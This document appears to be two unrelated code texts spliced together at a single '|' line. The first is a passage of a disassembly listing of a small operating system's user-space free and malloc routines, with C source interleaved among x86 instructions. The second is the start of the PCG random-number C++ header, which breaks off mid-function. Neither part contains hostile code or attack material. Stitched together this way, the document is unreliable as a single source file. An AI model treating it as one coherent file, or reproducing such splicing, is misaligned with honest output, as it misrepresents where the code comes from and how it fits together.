754: eb e8 jmp 73e <free+0x1e>
756: 66 90 xchg %ax,%ax
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
758: 8b 71 04 mov 0x4(%ecx),%esi
75b: 8d 3c f1 lea (%ecx,%esi,8),%edi
75e: 39 d7 cmp %edx,%edi
760: 74 19 je 77b <free+0x5b>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
762: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
765: 8b 50 04 mov 0x4(%eax),%edx
768: 8d 34 d0 lea (%eax,%edx,8),%esi
76b: 39 ce cmp %ecx,%esi
76d: 74 23 je 792 <free+0x72>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
76f: 89 08 mov %ecx,(%eax)
freep = p;
771: a3 84 09 00 00 mov %eax,0x984
}
776: 5b pop %ebx
777: 5e pop %esi
778: 5f pop %edi
779: 5d pop %ebp
77a: c3 ret
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
bp->s.size += p->s.ptr->s.size;
77b: 03 72 04 add 0x4(%edx),%esi
77e: 89 71 04 mov %esi,0x4(%ecx)
bp->s.ptr = p->s.ptr->s.ptr;
781: 8b 10 mov (%eax),%edx
783: 8b 12 mov (%edx),%edx
785: 89 53 f8 mov %edx,-0x8(%ebx)
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
788: 8b 50 04 mov 0x4(%eax),%edx
78b: 8d 34 d0 lea (%eax,%edx,8),%esi
78e: 39 ce cmp %ecx,%esi
790: 75 dd jne 76f <free+0x4f>
p->s.size += bp->s.size;
792: 03 51 04 add 0x4(%ecx),%edx
795: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
798: 8b 53 f8 mov -0x8(%ebx),%edx
79b: 89 10 mov %edx,(%eax)
} else
p->s.ptr = bp;
freep = p;
79d: a3 84 09 00 00 mov %eax,0x984
}
7a2: 5b pop %ebx
7a3: 5e pop %esi
7a4: 5f pop %edi
7a5: 5d pop %ebp
7a6: c3 ret
7a7: 89 f6 mov %esi,%esi
7a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000007b0 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
7b0: 55 push %ebp
7b1: 89 e5 mov %esp,%ebp
7b3: 57 push %edi
7b4: 56 push %esi
7b5: 53 push %ebx
7b6: 83 ec 2c sub $0x2c,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
7b9: 8b 5d 08 mov 0x8(%ebp),%ebx
if((prevp = freep) == 0){
7bc: 8b 0d 84 09 00 00 mov 0x984,%ecx
malloc(uint nbytes)
{
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
7c2: 83 c3 07 add $0x7,%ebx
7c5: c1 eb 03 shr $0x3,%ebx
7c8: 83 c3 01 add $0x1,%ebx
if((prevp = freep) == 0){
7cb: 85 c9 test %ecx,%ecx
7cd: 0f 84 9b 00 00 00 je 86e <malloc+0xbe>
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
7d3: 8b 01 mov (%ecx),%eax
if(p->s.size >= nunits){
7d5: 8b 50 04 mov 0x4(%eax),%edx
7d8: 39 d3 cmp %edx,%ebx
7da: 76 27 jbe 803 <malloc+0x53>
p->s.size -= nunits;
p += p->s.size;
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
7dc: 8d 3c dd 00 00 00 00 lea 0x0(,%ebx,8),%edi
morecore(uint nu)
{
char *p;
Header *hp;
if(nu < 4096)
7e3: be 00 80 00 00 mov $0x8000,%esi
7e8: 89 7d e4 mov %edi,-0x1c(%ebp)
7eb: 90 nop
7ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
7f0: 3b 05 84 09 00 00 cmp 0x984,%eax
7f6: 74 30 je 828 <malloc+0x78>
7f8: 89 c1 mov %eax,%ecx
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
7fa: 8b 01 mov (%ecx),%eax
if(p->s.size >= nunits){
7fc: 8b 50 04 mov 0x4(%eax),%edx
7ff: 39 d3 cmp %edx,%ebx
801: 77 ed ja 7f0 <malloc+0x40>
if(p->s.size == nunits)
803: 39 d3 cmp %edx,%ebx
805: 74 61 je 868 <malloc+0xb8>
prevp->s.ptr = p->s.ptr;
else {
p->s.size -= nunits;
807: 29 da sub %ebx,%edx
809: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
80c: 8d 04 d0 lea (%eax,%edx,8),%eax
p->s.size = nunits;
80f: 89 58 04 mov %ebx,0x4(%eax)
}
freep = prevp;
812: 89 0d 84 09 00 00 mov %ecx,0x984
return (void*)(p + 1);
818: 83 c0 08 add $0x8,%eax
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
}
81b: 83 c4 2c add $0x2c,%esp
81e: 5b pop %ebx
81f: 5e pop %esi
820: 5f pop %edi
821: 5d pop %ebp
822: c3 ret
823: 90 nop
824: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
morecore(uint nu)
{
char *p;
Header *hp;
if(nu < 4096)
828: 8b 45 e4 mov -0x1c(%ebp),%eax
82b: 81 fb 00 10 00 00 cmp $0x1000,%ebx
831: bf 00 10 00 00 mov $0x1000,%edi
836: 0f 43 fb cmovae %ebx,%edi
839: 0f 42 c6 cmovb %esi,%eax
nu = 4096;
p = sbrk(nu * sizeof(Header));
83c: 89 04 24 mov %eax,(%esp)
83f: e8 1c fc ff ff call 460 <sbrk>
if(p == (char*)-1)
844: 83 f8 ff cmp $0xffffffff,%eax
847: 74 18 je 861 <malloc+0xb1>
return 0;
hp = (Header*)p;
hp->s.size = nu;
849: 89 78 04 mov %edi,0x4(%eax)
free((void*)(hp + 1));
84c: 83 c0 08 add $0x8,%eax
84f: 89 04 24 mov %eax,(%esp)
852: e8 c9 fe ff ff call 720 <free>
return freep;
857: 8b 0d 84 09 00 00 mov 0x984,%ecx
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
85d: 85 c9 test %ecx,%ecx
85f: 75 99 jne 7fa <malloc+0x4a>
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
861: 31 c0 xor %eax,%eax
863: eb b6 jmp 81b <malloc+0x6b>
865: 8d 76 00 lea 0x0(%esi),%esi
if(p->s.size == nunits)
prevp->s.ptr = p->s.ptr;
868: 8b 10 mov (%eax),%edx
86a: 89 11 mov %edx,(%ecx)
86c: eb a4 jmp 812 <malloc+0x62>
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
86e: c7 05 84 09 00 00 7c movl $0x97c,0x984
875: 09 00 00
base.s.size = 0;
878: b9 7c 09 00 00 mov $0x97c,%ecx
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
87d: c7 05 7c 09 00 00 7c movl $0x97c,0x97c
884: 09 00 00
base.s.size = 0;
887: c7 05 80 09 00 00 00 movl $0x0,0x980
88e: 00 00 00
891: e9 3d ff ff ff jmp 7d3 <malloc+0x23>
|
/*
* PCG Random Number Generation for C++
*
* Copyright 2014-2019 Melissa O'Neill <oneill@pcg-random.org>,
* and the PCG Project contributors.
*
* SPDX-License-Identifier: (Apache-2.0 OR MIT)
*
* Licensed under the Apache License, Version 2.0 (provided in
* LICENSE-APACHE.txt and at http://www.apache.org/licenses/LICENSE-2.0)
* or under the MIT license (provided in LICENSE-MIT.txt and at
* http://opensource.org/licenses/MIT), at your option. This file may not
* be copied, modified, or distributed except according to those terms.
*
* Distributed on an "AS IS" BASIS, WITHOUT WARRANTY OF ANY KIND, either
* express or implied. See your chosen license for details.
*
* For additional information about the PCG random number generation scheme,
* visit http://www.pcg-random.org/.
*/
/*
* This code provides the reference implementation of the PCG family of
* random number generators. The code is complex because it implements
*
* - several members of the PCG family, specifically members corresponding
* to the output functions:
* - XSH RR (good for 64-bit state, 32-bit output)
* - XSH RS (good for 64-bit state, 32-bit output)
* - XSL RR (good for 128-bit state, 64-bit output)
* - RXS M XS (statistically most powerful generator)
* - XSL RR RR (good for 128-bit state, 128-bit output)
* - and RXS, RXS M, XSH, XSL (mostly for testing)
* - at potentially *arbitrary* bit sizes
* - with four different techniques for random streams (MCG, one-stream
* LCG, settable-stream LCG, unique-stream LCG)
* - and the extended generation schemes allowing arbitrary periods
* - with all features of C++11 random number generation (and more),
* some of which are somewhat painful, including
* - initializing with a SeedSequence which writes 32-bit values
* to memory, even though the state of the generator may not
* use 32-bit values (it might use smaller or larger integers)
* - I/O for RNGs and a prescribed format, which needs to handle
* the issue that 8-bit and 128-bit integers don't have working
* I/O routines (e.g., normally 8-bit = char, not integer)
* - equality and inequality for RNGs
* - and a number of convenience typedefs to mask all the complexity
*
* The code employes a fairly heavy level of abstraction, and has to deal
* with various C++ minutia. If you're looking to learn about how the PCG
* scheme works, you're probably best of starting with one of the other
* codebases (see www.pcg-random.org). But if you're curious about the
* constants for the various output functions used in those other, simpler,
* codebases, this code shows how they are calculated.
*
* On the positive side, at least there are convenience typedefs so that you
* can say
*
* pcg32 myRNG;
*
* rather than:
*
* pcg_detail::engine<
* uint32_t, // Output Type
* uint64_t, // State Type
* pcg_detail::xsh_rr_mixin<uint32_t, uint64_t>, true, // Output Func
* pcg_detail::specific_stream<uint64_t>, // Stream Kind
* pcg_detail::default_multiplier<uint64_t> // LCG Mult
* > myRNG;
*
*/
#ifndef PCG_RAND_HPP_INCLUDED
#define PCG_RAND_HPP_INCLUDED 1
#include <algorithm>
#include <stdexcept>
#ifdef _MSC_VER
#pragma warning(disable : 4146)
#endif
#ifdef _MSC_VER
#define PCG_ALWAYS_INLINE __forceinline
#elif __GNUC__
#define PCG_ALWAYS_INLINE __attribute__((always_inline))
#else
#define PCG_ALWAYS_INLINE inline
#endif
/*
* The pcg_extras namespace contains some support code that is likley to
* be useful for a variety of RNGs, including:
* - bit twiddling operations
* - I/O of 128-bit and 8-bit integers
* - Handling the evilness of SeedSeq
* - Support for efficiently producing random numbers less than a given
* bound
*/
#include "pcg_extras.hpp"
namespace pcg_detail {
using namespace pcg_extras;
/*
* The LCG generators need some constants to function. This code lets you
* look up the constant by *type*. For example
*
* default_multiplier<uint32_t>::multiplier()
*
* gives you the default multipler for 32-bit integers. We use the name
* of the constant and not a generic word like value to allow these classes
* to be used as mixins.
*/
template <typename T>
struct default_multiplier {
// Not defined for an arbitrary type
};
template <typename T>
struct default_increment {
// Not defined for an arbitrary type
};
#define PCG_DEFINE_CONSTANT(type, what, kind, constant) \
template <> \
struct what##_##kind<type> { \
static constexpr type kind() { return constant; } \
};
PCG_DEFINE_CONSTANT(uint8_t, default, multiplier, 141U)
PCG_DEFINE_CONSTANT(uint8_t, default, increment, 77U)
PCG_DEFINE_CONSTANT(uint16_t, default, multiplier, 12829U)
PCG_DEFINE_CONSTANT(uint16_t, default, increment, 47989U)
PCG_DEFINE_CONSTANT(uint32_t, default, multiplier, 747796405U)
PCG_DEFINE_CONSTANT(uint32_t, default, increment, 2891336453U)
PCG_DEFINE_CONSTANT(uint64_t, default, multiplier, 6364136223846793005ULL)
PCG_DEFINE_CONSTANT(uint64_t, default, increment, 1442695040888963407ULL)
/*
* Each PCG generator is available in four variants, based on how it applies
* the additive constant for its underlying LCG; the variations are:
*
* single stream - all instances use the same fixed constant, thus
* the RNG always somewhere in same sequence
* mcg - adds zero, resulting in a single stream and reduced
* period
* specific stream - the constant can be changed at any time, selecting
* a different random sequence
* unique stream - the constant is based on the memory address of the
* object, thus every RNG has its own unique sequence
*
* This variation is provided though mixin classes which define a function
* value called increment() that returns the nesessary additive constant.
*/
/*
* unique stream
*/
template <typename itype>
class unique_stream {
protected:
static constexpr bool is_mcg = false;
// Is never called, but is provided for symmetry with specific_stream
void set_stream(...) { abort(); }
public:
typedef itype state_type;
constexpr itype increment() const {
return itype(reinterpret_cast<uintptr_t>(this) | 1);
}
constexpr itype stream() const { return increment() >> 1; }
static constexpr bool can_specify_stream = false;
static constexpr size_t streams_pow2() {
return (sizeof(itype) < sizeof(size_t) ? sizeof(itype)
: sizeof(size_t)) *
8 -
1u;
}
protected:
constexpr unique_stream() = default;
};
/*
* no stream (mcg)
*/
template <typename itype>
class no_stream {
protected:
static constexpr bool is_mcg = true;
// Is never called, but is provided for symmetry with specific_stream
void set_stream(...) { abort(); }
public:
typedef itype state_type;
static constexpr itype increment() { return 0; }
static constexpr bool can_specify_stream = false;
static constexpr size_t streams_pow2() { return 0u; }
protected:
constexpr no_stream() = default;
};
/*
* single stream/sequence (oneseq)
*/
template <typename itype>
class oneseq_stream : public default_increment<itype> {
protected:
static constexpr bool is_mcg = false;
// Is never called, but is provided for symmetry with specific_stream
void set_stream(...) { abort(); }
public:
typedef itype state_type;
static constexpr itype stream() {
return default_increment<itype>::increment() >> 1;
}
static constexpr bool can_specify_stream = false;
static constexpr size_t streams_pow2() { return 0u; }
protected:
constexpr oneseq_stream() = default;
};
/*
* specific stream
*/
template <typename itype>
class specific_stream {
protected:
static constexpr bool is_mcg = false;
itype inc_ = default_increment<itype>::increment();
public:
typedef itype state_type;
typedef itype stream_state;
constexpr itype increment() const { return inc_; }
itype stream() { return inc_ >> 1; }
void set_stream(itype specific_seq) { inc_ = (specific_seq << 1) | 1; }
static constexpr bool can_specify_stream = true;
static constexpr size_t streams_pow2() {
return (sizeof(itype) * 8) - 1u;
}
protected:
specific_stream() = default;
specific_stream(itype specific_seq)
: inc_(itype(specific_seq << 1) | itype(1U)) {
// Nothing (else) to do.
}
};
/*
* This is where it all comes together. This function joins together three
* mixin classes which define
* - the LCG additive constant (the stream)
* - the LCG multiplier
* - the output function
* in addition, we specify the type of the LCG state, and the result type,
* and whether to use the pre-advance version of the state for the output
* (increasing instruction-level parallelism) or the post-advance version
* (reducing register pressure).
*
* Given the high level of parameterization, the code has to use some
* template-metaprogramming tricks to handle some of the suble variations
* involved.
*/
template <typename xtype, typename itype, typename output_mixin,
bool output_previous = true,
typename stream_mixin = oneseq_stream<itype>,
typename multiplier_mixin = default_multiplier<itype> >
class engine : protected output_mixin,
public stream_mixin,
protected multiplier_mixin {
protected:
itype state_;
struct can_specify_stream_tag {};
struct no_specifiable_stream_tag {};
using multiplier_mixin::multiplier;
using stream_mixin::increment;
public:
typedef xtype result_type;
typedef itype state_type;
static constexpr size_t period_pow2() {
return sizeof(state_type) * 8 - 2 * stream_mixin::is_mcg;
}
// It would be nice to use std::numeric_limits for these, but
// we can't be sure that it'd be defined for the 128-bit types.
static constexpr result_type min() { return result_type(0UL); }
static constexpr result_type max() {
return result_type(~result_type(0UL));
}
protected:
itype bump(itype state) { return state * multiplier() + increment(); }
itype base_generate() { return state_ = bump(state_); }
itype base_generate0() {
itype old_state = state_;
state_ = bump(state_);
return old_state;
}
public:
result_type operator()() {
if (output_previous)
return this->output(base_generate0());
else
return this->output(base_generate());
}
result_type operator()(result_type upper_bound) {
return bounded_rand(*this, upper_bound);
}
protected:
static itype advance(itype state, itype delta, itype cur_mult,
itype cur_plus);
static itype distance(itype cur_state, itype newstate, itype cur_mult,
itype cur_plus, itype mask = ~itype(0U));
itype distance(itype newstate, itype mask = itype(~itype(0U))) const {
return distance(state_, newstate, multiplier(), increment(), mask);
}
public:
void advance(itype delta) {
state_ =
advance(state_, delta, this->multiplier(), this->increment());
}
void backstep(itype delta) { advance(-delta); }
void discard(itype delta) { advance(delta); }
bool wrapped() {
if (stream_mixin::is_mcg) {
// For MCGs, the low order two bits never change. In this
// implementation, we keep them fixed at 3 to make this test
// easier.
return state_ == 3;
} else {
return state_ == 0;
}
}
engine(itype state = itype(0xcafef00dd15ea5e5ULL))
: state_(this->is_mcg ? state | state_type(3U)
: bump(state + this->increment())) {
// Nothing else to do.
}
// This function may or may not exist. It thus has to be a template
// to use SFINAE; users don't have to worry about its template-ness.
template <typename sm = stream_mixin>
engine(itype state, typename sm::stream_state stream_seed)
: stream_mixin(stream_seed),
state_(this->is_mcg ? state | state_type(3U)
: bump(state + this->increment())) {
// Nothing else to do.
}
template <typename SeedSeq>
engine(SeedSeq&& seedSeq,
typename std::enable_if<
!stream_mixin::can_specify_stream &&
!std::is_convertible<SeedSeq, itype>::value &&
!std::is_convertible<SeedSeq, engine>::value,
no_specifiable_stream_tag>::type = {})
: engine(generate_one<itype>(std::forward<SeedSeq>(seedSeq))) {
// Nothing else to do.
}
template <typename SeedSeq>
engine(SeedSeq&& seedSeq,
typename std::enable_if<
stream_mixin::can_specify_stream &&
!std::is_convertible<SeedSeq, itype>::value &&
!std::is_convertible<SeedSeq, engine>::value,
can_specify_stream_tag>::type = {})
: engine(generate_one<itype, 1, 2>(seedSeq),
generate_one<itype, 0, 2>(seedSeq)) {
// Nothing else to do.
}
template <typename... Args>
void seed(Args&&... args) {
new (this) engine(std::forward<Args>(args)...);
}
template <typename xtype1, typename itype1, typename output_mixin1,
bool output_previous1, typename stream_mixin_lhs,
typename multiplier_mixin_lhs, typename stream_mixin_rhs,
typename multiplier_mixin_rhs>
friend bool operator==(
const engine<xtype1, itype1, output_mixin1, output_previous1,
stream_mixin_lhs, multiplier_mixin_lhs>&,
const engine<xtype1, itype1, output_mixin1, output_previous1,
stream_mixin_rhs, multiplier_mixin_rhs>&);
template <typename xtype1, typename itype1, typename output_mixin1,
bool output_previous1, typename stream_mixin_lhs,
typename multiplier_mixin_lhs, typename stream_mixin_rhs,
typename multiplier_mixin_rhs>
friend itype1 operator-(
const engine<xtype1, itype1, output_mixin1, output_previous1,
stream_mixin_lhs, multiplier_mixin_lhs>&,
const engine<xtype1, itype1, output_mixin1, output_previous1,
stream_mixin_rhs, multiplier_mixin_rhs>&);
template <typename CharT, typename Traits, typename xtype1,
typename itype1, typename output_mixin1,
bool output_previous1, typename stream_mixin1,
typename multiplier_mixin1>
friend std::basic_ostream<CharT, Traits>& operator<<(
std::basic_ostream<CharT, Traits>& out,
const engine<xtype1, itype1, output_mixin1, output_previous1,
stream_mixin1, multiplier_mixin1>&);
template <typename CharT, typename Traits, typename xtype1,
typename itype1, typename output_mixin1,
bool output_previous1, typename stream_mixin1,
typename multiplier_mixin1>
friend std::basic_istream<CharT, Traits>& operator>>(
std::basic_istream<CharT, Traits>& in,
engine<xtype1, itype1, output_mixin1, output_previous1,
stream_mixin1, multiplier_mixin1>& rng);
};
template <typename xtype, typename itype, typename output_mixin,
bool output_previous, typename stream_mixin,
typename multiplier_mixin>
itype engine<xtype, itype, output_mixin, output_previous, stream_mixin,
multiplier_mixin>::advance(itype state, itype delta,
itype cur_mult, itype cur_plus) {
// The method used here is based on Brown, "Random Number Generation
// with Arbitrary Stride,", Transactions of the American Nuclear
// Society (Nov. 1994). The algorithm is very similar to fast
// exponentiation.
//
// Even though delta is an unsigned integer, we can pass a
// signed integer to go backwards, it just goes "the long way round".
constexpr itype ZERO = 0u; // itype may be a non-trivial types, so
constexpr itype ONE = 1u; // we define some ugly constants.
itype acc_mult = 1;
itype acc_plus = 0;
while (delta > ZERO) {
if (delta & ONE) {
acc_mult *= cur_mult;
acc_plus = acc_plus * cur_mult + cur_plus;
}
cur_plus = (cur_mult + ONE) * cur_plus;
cur_mult *= cur_mult;
delta >>= 1;
}
return acc_mult * state + acc_plus;
}
template <typename xtype, typename itype, typename output_mixin,
bool output_previous, typename stream_mixin,
typename multiplier_mixin>
itype engine<xtype, itype, output_mixin, output_previous, stream_mixin,
multiplier_mixin>::distance(itype cur_state, itype newstate,
itype cur_mult, itype cur_plus,
itype mask) {
constexpr itype ONE = 1u; // itype could be weird, so use constant
bool is_mcg = cur_plus == itype(0);
itype the_bit = is_mcg ? itype(4u) : itype(1u);
itype distance = 0u;
while ((cur_state & mask) != (newstate & mask)) {
if ((cur_state & the_bit) != (newstate & the_bit)) {
cur_state = cur_state * cur_mult + cur_plus;
distance |= the_bit;
}
assert((cur_state & the_bit) == (newstate & the_bit));
the_bit <<= 1;
cur_plus = (cur_mult + ONE) * cur_plus;
cur_mult *= cur_mult;
}
return is_mcg ? distance >> 2 : distance;
}
template <typename xtype, typename itype, typename output_mixin,
bool output_previous, typename stream_mixin_lhs,
typename multiplier_mixin_lhs, typename stream_mixin_rhs,
typename multiplier_mixin_rhs>
itype operator-(const engine<xtype, itype, output_mixin, output_previous,
stream_mixin_lhs, multiplier_mixin_lhs>& lhs,
const engine<xtype, itype, output_mixin, output_previous,
stream_mixin_rhs, multiplier_mixin_rhs>& rhs) {
static_assert(
std::is_same<stream_mixin_lhs, stream_mixin_rhs>::value &&
std::is_same<multiplier_mixin_lhs, multiplier_mixin_rhs>::value,
"Incomparable generators");
if (lhs.increment() == rhs.increment()) {
return rhs.distance(lhs.state_);
} else {
constexpr itype ONE = 1u;
itype lhs_diff =
lhs.increment() + (lhs.multiplier() - ONE) * lhs.state_;
itype rhs_diff =
rhs.increment() + (rhs.multiplier() - ONE) * rhs.state_;
if ((lhs_diff & itype(3u)) != (rhs_diff & itype(3u))) {
rhs_diff = -rhs_diff;
}
return rhs.distance(rhs_diff, lhs_diff, rhs.multiplier(),
itype(0u));
}
}
template <typename xtype, typename itype, typename output_mixin,
bool output_previous, typename stream_mixin_lhs,
typename multiplier_mixin_lhs, typename stream_mixin_rhs,
typename multiplier_mixin_rhs>
bool operator==(const engine<xtype, itype, output_mixin, output_previous,
stream_mixin_lhs, multiplier_mixin_lhs>& lhs,
const engine<xtype, itype, output_mixin, output_previous,
stream_mixin_rhs, multiplier_mixin_rhs>& rhs) {
return (lhs.multiplier() == rhs.multiplier()) &&
(lhs.increment() == rhs.increment()) &&
(lhs.state_ == rhs.state_);
}
template <typename xtype, typename itype, typename output_mixin,
bool output_previous, typename stream_mixin_lhs,
typename multiplier_mixin_lhs, typename stream_mixin_rhs,
typename multiplier_mixin_rhs>
inline bool operator!=(
const engine<xtype, itype, output_mixin, output_previous,
stream_mixin_lhs, multiplier_mixin_lhs>& lhs,
const engine<xtype, itype, output_mixin, output_previous,
stream_mixin_rhs, multiplier_mixin_rhs>& rhs) {
return !operator==(lhs, rhs);
}
template <typename xtype, typename itype,
template <typename XT, typename IT> class output_mixin,
bool output_previous = (sizeof(itype) <= 8),
template <typename IT> class multiplier_mixin =
default_multiplier>
using oneseq_base =
engine<xtype, itype, output_mixin<xtype, itype>, output_previous,
oneseq_stream<itype>, multiplier_mixin<itype> >;
template <typename xtype, typename itype,
template <typename XT, typename IT> class output_mixin,
bool output_previous = (sizeof(itype) <= 8),
template <typename IT> class multiplier_mixin =
default_multiplier>
using unique_base =
engine<xtype, itype, output_mixin<xtype, itype>, output_previous,
unique_stream<itype>, multiplier_mixin<itype> >;
template <typename xtype, typename itype,
template <typename XT, typename IT> class output_mixin,
bool output_previous = (sizeof(itype) <= 8),
template <typename IT> class multiplier_mixin =
default_multiplier>
using setseq_base =
engine<xtype, itype, output_mixin<xtype, itype>, output_previous,
specific_stream<itype>, multiplier_mixin<itype> >;
template <typename xtype, typename itype,
template <typename XT, typename IT> class output_mixin,
bool output_previous = (sizeof(itype) <= 8),
template <typename IT> class multiplier_mixin =
default_multiplier>
using mcg_base =
engine<xtype, itype, output_mixin<xtype, itype>, output_previous,
no_stream<itype>, multiplier_mixin<itype> >;
/*
* OUTPUT FUNCTIONS.
*
* These are the core of the PCG generation scheme. They specify how to
* turn the base LCG's internal state into the output value of the final
* generator.
*
* They're implemented as mixin classes.
*
* All of the classes have code that is written to allow it to be applied
* at *arbitrary* bit sizes, although in practice they'll only be used at
* standard sizes supported by C++.
*/
/*
* XSH RS -- high xorshift, followed by a random shift
*
* Fast. A good performer.
*/
template <typename xtype, typename itype>
struct xsh_rs_mixin {
static xtype output(itype internal) {
constexpr bitcount_t bits = bitcount_t(sizeof(itype) * 8);
constexpr bitcount_t xtypebits = bitcount_t(sizeof(xtype) * 8);
constexpr bitcount_t sparebits = bits - xtypebits;
constexpr bitcount_t opbits =
sparebits - 5 >= 64
? 5
: sparebits - 4 >= 32
? 4
: sparebits - 3 >= 16
? 3
: sparebits - 2 >= 4
? 2
: sparebits - 1 >= 1 ? 1 : 0;
constexpr bitcount_t mask = (1 << opbits) - 1;
constexpr bitcount_t maxrandshift = mask;
constexpr bitcount_t topspare = opbits;
constexpr bitcount_t bottomspare = sparebits - topspare;
constexpr bitcount_t xshift =
topspare + (xtypebits + maxrandshift) / 2;
bitcount_t rshift =
opbits ? bitcount_t(internal >> (bits - opbits)) & mask : 0;
internal ^= internal >> xshift;
xtype result =
xtype(internal >> (bottomspare - maxrandshift + rshift));
return result;
}
};
/*
* XSH RR -- high xorshift, followed by a random rotate
*
* Fast. A good performer. Slightly better statistically than XSH RS.
*/
template <typename xtype, typename itype>
struct xsh_rr_mixin {
static xtype output(itype internal) {
constexpr bitcount_t bits = bitcount_t(sizeof(itype) * 8);
constexpr bitcount_t xtypebits = bitcount_t(sizeof(xtype) * 8);
constexpr bitcount_t sparebits = bits - xtypebits;
constexpr bitcount_t wantedopbits =
xtypebits >= 128
? 7
: xtypebits >= 64
? 6
: xtypebits >= 32 ? 5 : xtypebits >= 16 ? 4 : 3;
constexpr bitcount_t opbits =
sparebits >= wantedopbits ? wantedopbits : sparebits;
constexpr bitcount_t amplifier = wantedopbits - opbits;
constexpr bitcount_t mask = (1 << opbits) - 1;
constexpr bitcount_t topspare = opbits;
constexpr bitcount_t bottomspare = sparebits - topspare;
constexpr bitcount_t xshift = (topspare + xtypebits) / 2;
bitcount_t rot =
opbits ? bitcount_t(internal >> (bits - opbits)) & mask : 0;
bitcount_t amprot = (rot << amplifier) & mask;
internal ^= internal >> xshift;
xtype result = xtype(internal >> bottomspare);
result = rotr(result, amprot);
return result;
}
};
/*
* RXS -- random xorshift
*/
template <typename xtype, typename itype>
struct rxs_mixin {
static xtype output_rxs(itype internal) {
constexpr bitcount_t bits = bitcount_t(sizeof(itype) * 8);
constexpr bitcount_t xtypebits = bitcount_t(sizeof(xtype) * 8);
constexpr bitcount_t shift = bits - xtypebits;
constexpr bitcount_t extrashift = (xtypebits - shift) / 2;
bitcount_t rshift =
shift > 64 + 8
? (internal >> (bits - 6)) & 63
: shift > 32 + 4
? (internal >> (bits - 5)) & 31
: shift > 16 + 2
? (internal >> (bits - 4)) & 15
: shift > 8 + 1
? (internal >> (bits - 3)) & 7
: shift > 4 + 1
? (internal >> (bits - 2)) & 3
: shift > 2 + 1
? (internal >> (bits - 1)) & 1
: 0;
internal ^= internal >> (shift + extrashift - rshift);
xtype result = internal >> rshift;
return result;
}
};
/*
* RXS M XS -- random xorshift, mcg multiply, fixed xorshift
*
* The most statistically powerful generator, but all those steps
* make it slower than some of the others. We give it the rottenest jobs.
*
* Because it's usually used in contexts where the state type and the
* result type are the same, it is a permutation and is thus invertable.
* We thus provide a function to invert it. This function is used to
* for the "inside out" generator used by the extended generator.
*/
/* Defined type-based concepts for the multiplication step. They're
* actually all derived by truncating the 128-bit, which was computed to be
* a good "universal" constant.
*/
template <typename T>
struct mcg_multiplier {
// Not defined for an arbitrary type
};
template <typename T>
struct mcg_unmultiplier {
// Not defined for an arbitrary type
};
PCG_DEFINE_CONSTANT(uint8_t, mcg, multiplier, 217U)
PCG_DEFINE_CONSTANT(uint8_t, mcg, unmultiplier, 105U)
PCG_DEFINE_CONSTANT(uint16_t, mcg, multiplier, 62169U)
PCG_DEFINE_CONSTANT(uint16_t, mcg, unmultiplier, 28009U)
PCG_DEFINE_CONSTANT(uint32_t, mcg, multiplier, 277803737U)
PCG_DEFINE_CONSTANT(uint32_t, mcg, unmultiplier, 2897767785U)
PCG_DEFINE_CONSTANT(uint64_t, mcg, multiplier, 12605985483714917081ULL)
PCG_DEFINE_CONSTANT(uint64_t, mcg, unmultiplier, 15009553638781119849ULL)
template <typename xtype, typename itype>
struct rxs_m_xs_mixin {
static xtype output(itype internal) {
constexpr bitcount_t xtypebits = bitcount_t(sizeof(xtype) * 8);
constexpr bitcount_t bits = bitcount_t(sizeof(itype) * 8);
constexpr bitcount_t opbits =
xtypebits >= 128
? 6
: xtypebits >= 64
? 5
: xtypebits >= 32 ? 4 : xtypebits >= 16 ? 3 : 2;
constexpr bitcount_t shift = bits - xtypebits;
constexpr bitcount_t mask = (1 << opbits) - 1;
bitcount_t rshift =
opbits ? bitcount_t(internal >> (bits - opbits)) & mask : 0;
internal ^= internal >> (opbits + rshift);
internal *= mcg_multiplier<itype>::multiplier();
xtype result = internal >> shift;
result ^= result >> ((2U * xtypebits + 2U) / 3U);
return result;
}
static itype unoutput(itype internal) {
constexpr bitcount_t bits = bitcount_t(sizeof(itype) * 8);
constexpr bitcount_t opbits =
bits >= 128
? 6
: bits >= 64 ? 5 : bits >= 32 ? 4 : bits >= 16 ? 3 : 2;
constexpr bitcount_t mask = (1 << opbits) - 1;
